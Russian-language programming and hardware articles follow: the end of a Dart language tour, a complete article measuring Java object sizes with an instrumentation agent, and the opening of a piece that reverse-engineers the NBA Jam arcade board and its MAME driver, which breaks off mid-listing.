if (\_cache.containsKey(name)) {
return \_cache[name];
} else {
final symbol = new Symbol.\_internal(name);
\_cache[name] = symbol;
return symbol;
}
}
Symbol.\_internal(this.name);
}
```
Мы определили класс `Symbol`. Символ — это примерно то же, что и строка, но мы хотим гарантировать, что в любой момент времени существует только один символ с данным именем. Это дает возможность безопасно проверять символы на равенство, просто убедившись, что они указывают на один и тот же объект.
Перед определением конструктора по-умолчанию (безымянного) стоит ключевое слово `factory`. Когда он вызывается, новый объект не создается (внутри фабричного конструктора отсутствует `this`). Вместо этого нам надо явно создать и возвратить объект. В этом примере мы сначала проверяем, есть ли символ с таким же именем в кеше, и возвращаем его, если есть.
Клёво, что всё это прозрачно для вызывающего кода:
```
var a = new Symbol('something');
var b = new Symbol('something');
```
Второй вызов на самом деле не создаст новый символ, а вернет уже имеющийся. Это удобно, так как если сначала нам не был нужен фабричный конструктор, а потом оказалось, что таки был, нам не придется где-то в коде менять `new` на вызов статического фабричного метода.
#### Функции
Как в большинстве современных языков, функции Dart — объекты первого класса, с замыканиями и облегченным вариантом синтаксиса. Любая функция — это объект, и вы можете без стеснения делать с ней что угодно. Мы широко используем функции для обработчиков событий.
В Dart есть три способа создания функций. Первый — именованные функции:
```
void sayGreeting(String salutation, String name) {
final greeting = '$salutation $name';
print(greeting);
}
```
Это выглядит, как обычное объявление функции в C или метода в Java или JavaScript. В отличие от C и C++, объявления функций могут быть вложенными. Второй способ — анонимные функции:
```
window.on.click.add((event) {
print('You clicked the window.');
})
```
В этом примере мы передаем анонимную функцию методу `add()` в качестве обработчика события. Наконец, для маленьких функций, состоящих из единственного выражения, существует облегченный синтаксис:
```
var items = [1, 2, 3, 4, 5];
var odd = items.filter((i) => i % 2 == 1);
print(odd); // [1, 3, 5]
```
Аргумент в скобках, за которым идет стрелка (`=>`) и выражение, создают функцию, которая принимает этот аргумент и возвращает результат вычисления выражения.
На практике мы предпочитаем использовать стрелочную нотацию везде, где это возможно, из-за её лаконичности (не в ущерб выразительности). Мы часто используем анонимные функции для обработчиков событий и коллбэков. Именованные функции используются довольно редко.
В Dart есть ещё один фокус (это одна из моих любимых фишек языка) — вы можете использовать `=>` для определения членов класса. Конечно, можно делать это так:
```
class Rectangle {
num width, height;
bool contains(num x, num y) {
return (x < width) && (y < height);
}
num area() {
return width * height;
}
}
```
Но зачем, если можно так:
```
class Rectangle {
num width, height;
bool contains(num x, num y) => (x < width) && (y < height);
num area() => width * height;
}
```
Мы находим стрелочную нотацию великолепной для определения простых геттеров/сеттеров и других однострочных функций.
#### Поля, геттеры и сеттеры
Для работы со свойствами Dart использует стандартный синтаксис вида `object.someProperty`. В Dart вы можете определить методы, которые будут выглядеть, как обращение к полю класса, но при этом выполнять произвольный код. Так же, как и в других языках, такие методы называются геттерами и сеттерами:
```
class Rectangle {
num left, top, width, height;
num get right() => left + width;
set right(num value) => left = value - width;
num get bottom() => top + height;
set bottom(num value) => top = value - height;
Rectangle(this.left, this.top, this.width, this.height);
}
```
У нас есть класс `Rectangle` с четырьмя «настоящими» свойствами — `left`, `top`, `width`, и `height` и двумя логическими свойствами в виде геттеров и сеттеров — `right` и `bottom`. При использовании класса нет никакой видимой разницы между натуральными полями и геттерами и сеттерами:
```
var rect = new Rectangle(3, 4, 20, 15);
print(rect.left);
print(rect.bottom);
rect.top = 6;
rect.right = 12;
```
Стирание границы между полями и геттерами/сеттерами — одно из фундаментальных свойств языка. Лучше всего думать о полях именно как о наборе “магических” геттеров и сеттеров. Из этого следует, что вы вполне можете переопределить унаследованный геттер натуральным полем и наоборот. Если в интерфейсе требуется геттер, в реализации вы можете просто задать поле с таким же именем и типом. Если поле изменяемое (не `final`), можно написать требуемый интерфейсом сеттер.
На практике это означает, что нет никакой необходимости тщательно изолировать поля класса кучей геттеров и сеттеров, как в Java или C#. Смело объявляйте публичные свойства. Если вы хотите предотвратить их модификацию, используёте ключевое слово `final`.
Позже, если появится необходимость делать валидацию или что-то ещё в этом роде, вы всегда сможете заменить это поле геттером и сеттером. Например, мы хотим, чтобы наш класс `Rectangle` всегда имел неотрицательный размер:
```
class Rectangle {
num left, top;
num _width, _height;
num get width() => _width;
set width(num value) {
if (value < 0) throw 'Width cannot be negative.';
_width = value;
}
num get height() => _height;
set height(num value) {
if (value < 0) throw 'Height cannot be negative.';
_height = value;
}
num get right() => left + width;
set right(num value) => left = value - width;
num get bottom() => top + height;
set bottom(num value) => top = value - height;
Rectangle(this.left, this.top, this._width, this._height);
}
```
Мы добавили в класс валидацию без необходимости менять код в любом другом месте.
#### Определения верхнего уровня
Dart — чистый объектно-ориентированный язык. Всё, что можно поместить в переменную, является объектом (никаких изменяемых “примитивов”), а каждый объект — экземпляр какого-либо класса. Тем не менее, это не “догматическое” ООП — не обязательно помещать всё внутрь классов. Вместо этого вы можете определять переменные, функции и даже геттеры и сеттеры на верхнем уровне.
```
num abs(num value) => value < 0 ? -value : value;
final TWO_PI = Math.PI * 2.0;
int get today() {
final date = new DateTime.now();
return date.day;
}
```
Даже в языках, которые не требуют помещать всё внурь классов или объектов, вроде JavaScript, принято делать так чтобы избежать конфликтов имен: глобальные определения в разных местах могут вступать в коллизии. Чтобы справиться с этим, в Dart есть система библиотек, которая позволяет импортировать определения из других файлов, добавляя к ним префиксы, чтобы избежать неоднозначности. Так что нет необходимости прятать определения внутрь классов.
Мы всё ещё исследуем, как эта особенность может повлиять на способ написания библиотек. Большая часть нашего кода помещает определения внутрь классов, например `Math`. Трудно сказать что это — укоренившаяся привычка из других языков, или полезная и для Dart практика программирования. В этой области нам очень нужна обратная связь от других разработчиков.
У нас есть несколько примеров использования определений верхнего уровня. Прежде всего — это `main()`. При работе с DOM, “переменные” `document` и `window` — это геттеры, определенные на верхнем уровне.
#### Строки и интерполяция
В Dart есть несколько видов строковых литералов. Вы можете использовать двойные и одинарные кавычки, а также тройные кавычки для многострочных литералов:
```
'I am a "string"'
"I'm one too"
'''I'm
on multiple lines
'''
"""
As
am
I
"""
```
Чтобы объединить несколько строк в одну, вы можете использовать конкатенацию:
```
var name = 'Fred';
var salutation = 'Hi';
var greeting = salutation + ', ' + name;
```
Но интерполяция будет чище и быстрее:
```
var name = 'Fred';
var salutation = 'Hi';
var greeting = '$salutation, $name';
```
На место знака доллара (`$`), после которого идет имя переменной, будет подставлено значение переменной (если это не строка, будет вызван метод `toString()`). Внутрь фигурных скобок можно помещать выражения:
```
var r = 2;
print('The area of a circle with radius $r is ${Math.PI * r * r}');
```
#### Операторы
Dart использует те же операторы, с теми же приоритетами, что и C, Java и другие подобные языки. Они будут вести себя так, как вы ожидаете. Тем не менее, внутренняя реализация имеет свои особенности. В Dart выражение с оператором вида `1 + 2` — просто синтаксический сахар для вызова метода. С точки зрения языка этот пример выглядит, как `1.+(2)`.
Это значит, что вы можете перегружать большинство операторов, создавая свои типы. Вот например, класс `Vector`:
```
class Vector {
num x, y;
Vector(this.x, this.y);
operator +(Vector other) => new Vector(x + other.x, y + other.y);
}
```
Теперь мы можем складывать векторы, используя привычный синтаксис:
```
var position = new Vector(3, 4);
var velocity = new Vector(1, 2);
var newPosition = position + velocity;
```
Тем не менее, не стоит этой возможностью злоупотреблять. Мы даём вам ключи от машины в надежде, что вы не будете таранить столбы.
На практике, если типы, которые вы определяете, используют операторы в реальном мире, это хороший признак того, что стоит переопределять для них стандартные операторы: комплексные числа, векторы, матрицы и т.д. Во всех остальных случаях перегружать операторы, скорее всего, не стоит. Типы с перегружаемыми операторами обычно должны быть неизменяемыми.
Стоит отметить, что, так как операторы — это вызовы методов, им изначально присуща асимметрия. Поиск метода всегда делается для левого аргумента. Так что, когда вы пишете `a + b`, смысл операции зависит от типа `a`.
#### Равенство
Этому набору операторов стоит уделить особое внимание. В Dart есть две пары операторов равенства: `==` и `!=` и `===` и `!==`. Выглядит знакомо для программистов JavaScript, но здесь они работают немного по-другому.
`==` и `!=` служат для проверки на эквивалентность. 99% времени вы будете использовать именно их. В отличие от JavaScript, они не делают никаких неявных преобразований, так что они будут вести себя более предсказуемо. Не бойтесь использовать их! В отличие от Java, они работают с любыми типами, для которых определено отношение эквивалентности. Никаких больше `someString.equals("something")`.
Вы можете перегружать `==` для своих типов, если это будет иметь смысл. При этом нет необходимости перегружать `!=`, Dart автоматически выведет его из `==`.
Вторая пара операторов, `===` и `!==`, служит для проверки на идентичность. `a === b` вернет `true` только если `a` и `b` — один и тот же объект в памяти. Вам редко придется использовать их на практике. По-умолчанию, `==` полагается на `===`, если для типа не определено отношение эквивалентности, так что `===` будет необходим в единственном случае — чтобы обойти переопределенный пользователем `==`. | https://habr.com/ru/post/130120/ | null | ru | null |
# Размеры Java-объектов разного типа
Введение
========
Содержит ли Java-объект:
* поля, объявленные в суперклассе?
* private поля, объявленные в суперклассе?
* методы?
* элементы массива?
* длину массива?
* другой объект (в себе)?
* hash-код?
* тип (свой)?
* имя (своё)?
Ответы на эти (и другие) вопросы можно получить с помощью [библиотеки классов org.openjdk.jol](http://hg.openjdk.java.net/code-tools/jol/file/tip/jol-samples/src/main/java/org/openjdk/jol/samples) которая, в частности, позволяет уяснить, что объект — это область памяти:
* содержащая:
+ заголовок (до 16 байт), и в нём:
- hash-код
- ссылку на тип
- длину массива (для массива)
+ все поля (включая private), объявленные во всех суперклассах
+ или элементы массива (для массива)
* не содержащая:
+ статические переменные
+ методы
+ другие объекты в себе
+ своё имя (то есть у объекта нет имени)
Подготовка
==========
Здесь приведены результаты оценки памяти объектов разного типа по способу из описания пакета [java.lang.instrument](https://docs.oracle.com/en/java/javase/13/docs/api/java.instrument/java/lang/instrument/package-summary.html) (смотри также [здесь](https://www.baeldung.com/java-size-of-object)). Эти результаты позволяют ответить на большинство поставленных выше вопросов.
Необходимо выполнить следующие шаги:
1. Создать класс-агент, содержащий метод premain:
```
public static void premain(String, Instrumentation) {...}
```
2. Создать архив, содержащий класс-агент и манифест-файл с содержимым:
```
Premain-class: имя-класса-агента
```
3. Создать исполняемый класс для оценки памяти.
4. Указать архив параметром "-javaagent" при запуске виртуальной машины:
```
java -javaagent:имя-архива имя-исполняемого-класса
```
Начнём с пробного примера. Для простоты используем безымянный пакет.
#### Шаг 1. Создаём пробный класс-агент
```
import java.lang.instrument.Instrumentation;
public class A {
public static void premain(String notUsedHere, Instrumentation i) {
System.out.println("premain");
}
}
```
Компилируем:
```
javac A.java
```
#### Шаг 2. Создаём манифест-файл m.txt, содержащий:
```
Premain-class: A
пустая строка
```
*ВНИМАНИЕ: вторая строка файла должна быть ПУСТОЙ, НЕ СОДЕРЖАЩЕЙ ПРОБЕЛОВ.*
Создаём архив A.jar:
```
jar cmf m.txt A.jar A.class
```
#### Шаг 3. Создаём пробный исполняемый класс
```
public class M {
public static void main(String[] notUsedHere) {
// Пока без оценки памяти
System.out.println("main");
}
}
```
Компилируем:
```
javac M.java
```
#### Шаг 4. Выполняем
```
java -javaagent:A.jar M
```
Результат:
```
premain
main
```
указывает, что сначала был вызван метод premain класса-агента, а затем — метод main исполняемого класса.
Теперь создаём требуемый класс-агент:
```
import java.lang.instrument.Instrumentation;
public class A {
// статическую переменную инициализирует виртуальная машина
private static Instrumentation ins;
public static void premain(String notUsedHere, Instrumentation i) {
ins = i;
}
public static Instrumentation instrumentation() {return ins;}
}
```
и исполняемый класс:
```
class M {
public static void main(String[] notUsedHere) {
mem("Object", new Object());
}
private static void mem(Object o, Object ref) {
System.out.println(o + ": " + objectBytesEstimate(ref));
}
private static long objectBytesEstimate(Object ref) {
if (A.instrumentation() == null) {
throw new RuntimeException("Not initialized instrumentation.");
}
return A.instrumentation().getObjectSize(ref);
}
}
```
Метод
```
long getObjectSize(Object ссылка-на-объект)
```
возвращает ОЦЕНКУ размера (количества байт) памяти, занимаемой объектом по указанной ссылке. Необходимо иметь ввиду, что полученная оценка может быть иной для иной виртуальной машины. Здесь будут приведены значения для [jdk-13](https://jdk.java.net/13/).
Выполняем:
```
javac *.java
jar cmf m.txt A.jar A.class
java -javaagent:A.jar M
```
и получаем результат:
```
Object: 16
```
показывающий, что ПУСТОЙ объект типа Object занимает здесь (ПО ОЦЕНКЕ) 16 байт. Из них 12 байт занимает заголовок, а 4 байта в конце служат для выравнивания длины объекта на границу 8 байт.
Результаты
==========
Дальнейшие примеры будут содержать лишь код, размещаемый в методе main класса M. Их следует выполнять для каждого примера командами:
```
javac M.java
java -javaagent:A.jar M
```
Пересоздавать A.jar нет необходимости.
Например, для получения оценки размера памяти объекта произвольного типа без полей, поместим в метод main код:
```
class C {}; mem("Empty", new C()); // Empty: 16
```
Результат, указанный в комментарии, показывает, что объект без полей занимает столько же байт, сколько объект типа Object.
Далее, результат программы:
```
{class C {int a; } mem(1, new C());} // 1: 16
{class C {int a,b; } mem(2, new C());} // 2: 24
{class C {int a,b,c; } mem(3, new C());} // 3: 24
{class C {int a,b,c,d;} mem(4, new C());} // 4: 32
```
показывает, что каждое int-поле занимает 4 байта. Замечу, что здесь каждая строка — отдельный блок, что позволяет использовать одно и то же имя для разных классов.
Каждое long-поле занимает 8 байт:
```
{class C {long a; } mem(1, new C());} // 1: 24
{class C {long a,b; } mem(2, new C());} // 2: 32
{class C {long a,b,c;} mem(3, new C());} // 3: 40
```
Каждое boolean-поле занимает 1 байт (для данной ВМ):
```
{class C {boolean a; } mem(1, new C());} // 1: 16
{class C {boolean a,b; } mem(2, new C());} // 2: 16
{class C {boolean a,b,c; } mem(3, new C());} // 3: 16
{class C {boolean a,b,c,d; } mem(4, new C());} // 4: 16
{class C {boolean a,b,c,d,e;} mem(5, new C());} // 5: 24
```
Каждое ссылочное поле занимает 4 байта (для данной ВМ):
```
{class C {Boolean a; } mem(1, new C());} // 1: 16
{class C {Integer a; } mem(1, new C());} // 1: 16
{class C {Long a; } mem(1, new C());} // 1: 16
{class C {C a; } mem(1, new C());} // 1: 16
{class C {Boolean a,b; } mem(2, new C());} // 2: 24
{class C {Integer a,b; } mem(2, new C());} // 2: 24
{class C {Long a,b; } mem(2, new C());} // 2: 24
{class C {C a,b; } mem(2, new C());} // 2: 24
{class C {Boolean a,b,c; } mem(3, new C());} // 3: 24
{class C {Integer a,b,c; } mem(3, new C());} // 3: 24
{class C {Long a,b,c; } mem(3, new C());} // 3: 24
{class C {C a,b,c; } mem(3, new C());} // 3: 24
{class C {Boolean a,b,c,d;} mem(4, new C());} // 4: 32
{class C {Integer a,b,c,d;} mem(4, new C());} // 4: 32
{class C {Long a,b,c,d;} mem(4, new C());} // 4: 32
{class C {C a,b,c,d;} mem(4, new C());} // 4: 32
```
Поле String-типа тоже занимает 4 байта, как и каждое ссылочное:
```
{class C {String a; } mem(" null", new C());} // null: 16
{class C {String a=""; } mem(" empty", new C());} // empty: 16
{class C {String a="A"; } mem("1-char", new C());} // 1-char: 16
{class C {String a="1234567";} mem("7-char", new C());} // 7-char: 16
```
Поле-ссылка на массив тоже занимаат 4 байта, как и каждое ссылочное:
```
{class C {int[] a; } mem("null", new C());} // null: 16
{class C {int[] a = {}; } mem(" 0", new C());} // 0: 16
{class C {int[] a = new int[1]; } mem(" 1", new C());} // 1: 16
{class C {int[] a = new int[7]; } mem(" 7", new C());} // 7: 16
{class C {int[][] a = {}; } mem(" 00", new C());} // 00: 16
{class C {int[][] a = new int[1][1];} mem(" 11", new C());} // 11: 16
{class C {int[][] a = new int[7][7];} mem(" 77", new C());} // 77: 16
```
Объект подтипа содержит каждое поле, объявленное в суперклассе, независимо от модификатора доступа:
```
{class S { } class C extends S {long a;} mem("0+1", new C());} // 0+1: 24
{class S {private long a;} class C extends S { } mem("1+0", new C());} // 1+0: 24
```
Объект подтипа содержит поле, объявленное в суперклассе с тем же именем, что и в подклассе (так называемое спрятанное — hidden):
```
{class S { } class C extends S {long a,b;} mem("0+2", new C());} // 0+2: 32
{class S {long a;} class C extends S {long a; } mem("1+1", new C());} // 1+1: 32
```
Объект подтипа содержит каждое поле, объявленное в каждом его суперклассе:
```
class U {private long a; }
class S extends U {private long a; }
class C extends S { long a; } mem("1+1+1", new C()); // 1+1+1: 40
class D { long a,b,c;} mem("0+0+3", new D()); // 0+0+3: 40
```
Обратися к массивам. Как известно, массив — это особый вид объекта, элементы которого находятся в самом объекте, так что размер памяти, занимаемый массивом, растёт с числом элементов:
```
{long[] a = new long[ 0]; mem(" 0", a);} // 0: 16
{long[] a = new long[ 1]; mem(" 1", a);} // 1: 24
{long[] a = new long[ 2]; mem(" 2", a);} // 2: 32
{long[] a = new long[ 3]; mem(" 3", a);} // 3: 40
{long[] a = new long[100]; mem("100", a);} // 100: 816
```
А для массива ссылок:
```
{Long[] a = new Long[ 0]; mem(" 0", a);} // 0: 16
{Long[] a = new Long[ 1]; mem(" 1", a);} // 1: 24
{Long[] a = new Long[ 2]; mem(" 2", a);} // 2: 24
{Long[] a = new Long[ 3]; mem(" 3", a);} // 3: 32
{Long[] a = new Long[100]; mem("100", a);} // 100: 416
```
Теперь из любопытства сравним размеры нескольких объектов разного типа:
```
mem(" Object", new Object()); // Object: 16
mem(" String", new String("ABC")); // String: 24
mem(" Exception", new Exception()); // Exception: 40
mem(" int.class", int.class); // int.class: 112
mem(" int[].class", int[].class); // int[].class: 112
mem("Object.class", Object.class); // Object.class: 112
mem("System.class", System.class); // System.class: 160
mem("String.class", String.class); // String.class: 136
```
То же для разных jdk на 64-битном процессоре:
```
jdk1.6.0_45 jdk1.7.0_80 jdk1.8.0_191 jdk-9 jdk-12 jdk-13
----------- ----------- ------------ ------ ------ ------
Object: 16 16 16 16 16 16
String: 32 24 24 24 24 24
Exception: 32 32 32 40 40 40
int.class: 104 88 104 112 104 112
int[].class: 584 544 480 112 104 112
Object.class: 600 560 496 112 104 112
System.class: 624 560 496 144 152 160
String.class: 696 640 624 136 128 136
```
Оценка размера объекта типа String — 24 байта, хотя класс String содержит много статических переменных, статических и нестатических методов. Это несомненно указывает на отсутствие в объекте статических переменных и кода методов. То же верно для объекта любого типа.
В заключение — напоминание: все приведенные данные о размере объекта оценочные и они могут в какой-то мере изменяться от одного выполнения к другому и, конечно, для разных виртуальных машин. | https://habr.com/ru/post/470441/ | null | ru | null |
# Реверс-инжиниринг аркадного автомата: записываем Майкла Джордана в NBA Jam
Прошлым летом меня пригласили на тусовку в Саннивейле. Оказалось, что у хозяев в гараже есть аркадный автомат NBA JAM Tournament Edition на четверых игроков. Несмотря на то, что игре уже больше 25 лет (она была выпущена в 1993 году), в неё по-прежнему очень интересно играть, особенно для увлечённых любителей.
Меня удивил список игроков Chicago Bulls, в котором не было Майкла Джордана. Согласно источникам, [1], Эм-Джей получил собственную лицензию и не был частью сделки, которую Midway заключила с NBA.
Расспросив владельца автомата, я узнал, что хакеры выпустили мод игры для SNES «NBA Jam 2K17», позволяющий играть новыми игроками и Эм-Джеем, но никто не занимался разбором того, как работала аркадная версия. Поэтому мне обязательно нужно было заглянуть внутрь.
Предыстория
-----------
История NBA Jam начинается не с баскетбола, а с Жан-Клод Ван Дамма. Примерно в то же время, когда был выпущен «Универсальный солдат», «Midway Games» разработала технологию, позволяющую манипулировать большими оцифрованными фотореалистичными спрайтами, сохраняющими сходство с настоящими актёрами. Это был огромный технологический прорыв: анимации с 60 кадрами в секунду, невиданные ранее спрайты размером 100x100 пикселей, каждый из которых имел собственную 256-цветную палитру.
Компания с большим успехом использовала эту технологию в популярном шутере «Terminator 2: Judgment Day»[2], но не смогла приобрести лицензию на «Универсального солдата» (финансовые условия JCVD оказались для Midway неприемлемыми [3]). Когда переговоры закончились неудачей, Midway сменила курс и начала разработку боевой игры в духе мегахита Capcom 1991 года под названием «Street Fighter II: The World Warrior».
Была собрана команда из четырёх человек (Эд Бун писал код, Джон Тобиас занимался артом и сценарием, Джон Вогель рисовал графику, а Дэн Форден был звукорежиссёром). Спустя год упорного труда[4] Midway выпустила в 1992 году Mortal Kombat.
Визуальный стиль сильно отличался от привычного пиксель-арта, а дизайн игры оказался, мягко говоря, «спорным». Игра с литрами крови на экране и безумно жестокими добиваниями-«фаталити» мгновенно стала мировым хитом и за год заработала почти 1 миллиард долларов[5].
*SF2: 384×224 с 4 096 цветами.*
*MK: 400×254 с 32 768 цветами.*
**Интересный факт:** как и в VGA Mode 0x13 на PC, в этих играх пиксели были не квадратными. Хотя буфер кадров Mortal Kombat имеет размер 400 × 254, он растягивается до соотношения 4:3 ЭЛТ-экрана, обеспечивая разрешение 400 × 300[6]
Оборудование Midway T-Unit
--------------------------
Разработанное компанией Midway для Mortal Kombat «железо» оказалось очень хорошим. Настолько хорошим, что ему дали собственное название T-Unit и повторно использовали в других играх.
* Mortal Kombat.
* Mortal Kombat II.
* NBA Jam.
* NBA Jam Tournament Edition.
* Judge Dredd (не была выпущена).
T-Unit состоит из двух плат. Бо́льшая из них занимается игровой логикой и графикой.
*Плата процессора NBA JAM TE Edition (примерно 40х40 см, или 15 дюймов).*
Другая плата менее сложна, но тоже способна на многое. Она предназначена для аудио, но способна воспроизводить не только музыку при помощи FM-синтеза, но и цифровой звук.
Звуковая плата соединена с источником питания и графической платой, установленной сзади. Обратите внимание на огромный радиатор, расположенный в верхнем левом углу.
Вместе эти две платы содержат более двух сотен чипов, резисторов и EPROM. Разбираться во всём этом только на основании серийных номеров было бы очень трудоёмко. Но, как ни удивительно, иногда у устройств родом из 90-х случайно обнаруживается документация. А в случае NBA Jam она оказалась просто отличной.
Архитектура Midway T-Unit
-------------------------
В поисках данных я наткнулся на NBA Jam Kit. Уровень детализации этого документа потрясает[7]. Среди прочего, мне удалось найти подробное описание монтажных соединений, в том числе EPROM-ов и чипов.
Информация из документа позволила нарисовать схему плат и определить функцию каждой части. Для помощи в поиске компонентов плата имеет координаты с началом в правом нижнем углу (UA0), увеличивающиеся до левого верхнего угла (UJ26).
Сердцем основной платы служит Texas Instrument TMS34010 (UB21) с частотой 50 МГц и с 1 мебибайтом кода в EPROM-ах и 512 кибибайтами DRAM[8]. 34010 — это 32-битный чип с 16-битной шиной, имеющий такие замечательные графические инструкции, как PIXT and PIXBLT[9]. В начале 90-х этот чип использовался в нескольких картах аппаратного ускорения [10], и я думал, что он обрабатывает солидный объём графических эффектов. Как ни удивительно, но он занимается только игровой логикой, и ничего не отрисовывает.
На самом деле графическим монстром оказался чип UE13 под названием «DMA2». Согласно схемам из документации, он обладает внушительными (по тем временам) 32-битной шиной данных и 32-битной адресной шиной, из-за чего стал самым большим чипом на плате. Эта специализированная интегральная схема (ASIC) способна на множество графических операций, о которых я расскажу ниже.
Все чипы (System RAM, GFX EPROM, Palette SDRAM, Code, Video Banks) отображены в одно 32-битное адресное пространство и подключены к одной шине. Мне не удалось разыскать никакой информации о протоколе шины, поэтому если вам что-то о нём известно, пишите на электронную почту.
Обратите на хитрый трюк: один компонент EPROM (отмечен синим) используется для создания другой системы хранения (и экономии денег). Эти EPROM на 512 кибибайта имеют 32-битные адресные выводы и 8-битные выводы данных. Для 34010, которому требуется 16-битная шина данных, два EPROM (J12 и G12) подключены с двукратным чередованием адресов, создавая память в 1 мебибайт. Аналогичным образом графические ресурсы подключены с четырёхкратным чередованием адресов для образования 32-битного адреса с 32-битной системой хранения данных, содержащей 8 мебибайт.
Хотя в этой статье я в основном буду рассматривать графический конвейер, не могу противиться искушению, а потому вкратце расскажу про аудиосистему.
Схеме звуковой карты показан Motorola 6809 (U4 с частотой 2 МГц), на который подаются инструкции из одного EPROM (U3) для управления музыкой и звуковыми эффектами.
Чип FM-синтеза Yamaha 2151 (3,5 МГц) генерирует музыку непосредственно из инструкций, полученных от 6809 (музыка использует довольно малую полосу пропускания).
OKI6295 (1 МГц) отвечает за воспроизведение цифрового аудио в формате ADPCM (например, легендарной «Boomshakalaka»[11] Тима Китцроу).
Заметьте, что на основной плате те же синие 512-кибибайтные EPROM 32a/8d используются в 16-битной системе с двукратным чередованием адресов для хранения оцифрованных голосов, а для 8-битных инструкций данных/адресов Motorola 6809 чередования нет.
Жизнь кадра
-----------
Весь экран NBA Jam индексирован в 16-битной палитре. Цвета хранятся в формате xRGB 1555 в палитре размером 64 кибибайт. Палитра разделена на 128 блоков (256 \* 16 бит) по 512 байт. Спрайты, хранящиеся в EPROM, помечены как «GFX». Каждый спрайт имеет собственную палитру размером до 256x16-битных цветов. Спрайт часто использует целый блок палитры, но никогда не больше одного. ЭЛТ-сигнал передаётся на монитор при помощи RAMDAC, который для каждого пикселя считывает индекс из банков Video DRAM и выполняет поиск цвета в палитре.
Жизнь каждого кадра видео NBA Jam протекает следующим образом:
1. Игровая логика состоит из потока 16-битных инструкций, передаваемых из J12/G12 в 34010.
2. 34010 считывает ввод игроков, вычисляет состояние игры, а затем отрисовывает экран.
3. Для отрисовки на экране 34010 сначала находит неиспользуемый блок в палитре и записывает туда палитру спрайта (палитры спрайтов хранятся вместе с инструкциями 34010 в J12/G12).
4. 34010 выполняет запрос к DMA2, в который включаются адрес и размеры спрайта, используемый 8-битный блок палитры, усечение, масштабирование, способ обработки прозрачных пикселей, и так далее.
5. DMA2 считывает 8-битные индексы спрайтов из GFX ROM чипа J14-G23, комбинирует это значение с индексом 8-битного блока палитры и записывает 16-битный индекс в видеобанки. DRAM2 можно считать блиттером, считывающим 8-битные значения из GFX EPROM и записывающим 16-битные значения в видеобанки
6. Шаги 3-5 повторяются, пока не будут выполнены все запросы на отрисовку спрайтов.
7. Когда наступает момент обновления экрана, RAMDAC преобразует находящиеся в видеобанках данные в сигнал, который может понять ЭЛТ-монитор. Чтобы полосы пропускания хватило на преобразование 16-битного индекса в 16-битный RGB, палитра хранится в чрезвычайно дорогой и чрезвычайно быстрой SRAM.
**Интересный факт:** флеш-прошивка EPROM — это не такой уж простой процесс. Перед записью в чип необходимо полностью стереть всё его содержимое.
Для этого чип необходимо облучить УФ-освещением. Для начала нужно отклеить стикер с верхней части EPROM, чтобы открыть его схему. Затем EPROM помещается в особое устройство-стиратель, в котором есть УФ-лампа.
Спустя 20 минут EPROM будет заполнен нулями и готов к записи.
Документация MAME
-----------------
Разобравшись с оборудованием, я понял, в какой набор EPROM можно было записaть Майкла Джордана (палитра хранится в Code EPROM-ах, а индексы — в GFX EPROM-ах). Однако я по-прежнему не знал ни точного местоположения, ни используемого формата.
Недостающая документация нашлась в MAME.
На случай, если вы не знаете, как работает этот потрясающий эмулятор, вкратце объясню. MAME построена на основе концепции «драйверов», являющихся имитацией платы. Каждый драйвер составлен из компонентов, имитирующих (обычно) каждый чип. В случае Midway T-Unit нас интересуют следующие файлы:
```
mame/includes/midtunit.h
mame/src/mame/video/midtunit.cpp
mame/src/mame/drivers/midtunit.cpp
mame/src/mame/machine/midtunit.cpp
cpu/tms34010/tms34010.h
```
Если взглянуть на drivers/midtunit.cpp, то мы увидим, что каждый чип памяти является частью единого 32-битного адресного пространства. Из исходного кода драйвера видно, что палитра начинается с адреса 0x01800000, gfxrom — с адреса 0x02000000, а чип DMA2 — с 0x01a80000. Чтобы проследовать по пути данных, нам нужно проследить за функциями C++, выполняемыми, когда объектом операции считывания или записи является адрес памяти.
```
void midtunit_state::main_map(address_map ↦) {
map.unmap_value_high();
map(0x00000000, 0x003fffff).rw(m_video, FUNC(midtunit_vram_r), FUNC(midtunit_vram_w));
map(0x01000000, 0x013fffff).ram();
map(0x01400000, 0x0141ffff).rw(FUNC(midtunit_cmos_r), FUNC(midtunit_cmos_w)).share("nvram");
map(0x01480000, 0x014fffff).w(FUNC(midtunit_cmos_enable_w));
map(0x01600000, 0x0160000f).portr("IN0");
map(0x01600010, 0x0160001f).portr("IN1");
map(0x01600020, 0x0160002f).portr("IN2");
map(0x01600030, 0x0160003f).portr("DSW");
map(0x01800000, 0x0187ffff).ram().w(m_palette, FUNC(write16)).share("palette");
map(0x01a80000, 0x01a800ff).rw(m_video, FUNC(midtunit_dma_r), FUNC(midtunit_dma_w));
map(0x01b00000, 0x01b0001f).w(m_video, FUNC(midtunit_control_w));
map(0x01d00000, 0x01d0001f).r(FUNC(midtunit_sound_state_r));
map(0x01d01020, 0x01d0103f).rw(FUNC(midtunit_sound_r), FUNC(midtunit_sound_w));
map(0x01d81060, 0x01d8107f).w("watchdog", FUNC(watchdog_timer_device::reset16_w));
map(0x01f00000, 0x01f0001f).w(m_video, FUNC(midtunit_control_w));
map(0x02000000, 0x07ffffff).r(m_video, FUNC(midtunit_gfxrom_r)).share("gfxrom");
map(0x1f800000, 0x1fffffff).rom().region("maincpu", 0); /* mirror used by MK*/
map(0xff800000, 0xffffffff).rom().region("maincpu", 0);
}
```
В конце того же файла «drivers/midtunit.cpp» мы видим, как содержимое EPROM-ов загружается в ОЗУ. В случае графических ресурсов «gfxrom» (сопоставленных с адресом 0x02000000), мы можем увидеть, что они растянулись на 8 мебибайта адресного пространства в блоках чипов с четырёхкратным чередованием адресов. Заметьте, что имена файлов соответствуют расположению чипов (например, UJ12/UG12). Набор этих файлов EPROM в мире эмуляторов более известен под названием «ROM».
```
ROM_START( nbajamte )
ROM_REGION( 0x50000, "adpcm:cpu", 0 ) /* sound CPU*/
ROM_LOAD( "l1_nba_jam_tournament_u3_sound_rom.u3", 0x010000, 0x20000, NO_DUMP)
ROM_RELOAD( 0x030000, 0x20000 )
ROM_REGION( 0x100000, "adpcm:oki", 0 ) /* ADPCM*/
ROM_LOAD( "l1_nba_jam_tournament_u12_sound_rom.u12", 0x000000, 0x80000, NO_DUMP)
ROM_LOAD( "l1_nba_jam_tournament_u13_sound_rom.u13", 0x080000, 0x80000, NO_DUMP)
ROM_REGION16_LE( 0x100000, "maincpu", 0 ) /* 34010 code*/
ROM_LOAD16_BYTE( "l4_nba_jam_tournament_game_rom_uj12.uj12", 0x00000, 0x80000, NO_DUMP)
ROM_LOAD16_BYTE( "l4_nba_jam_tournament_game_rom_ug12.ug12", 0x00001, 0x80000, NO_DUMP)
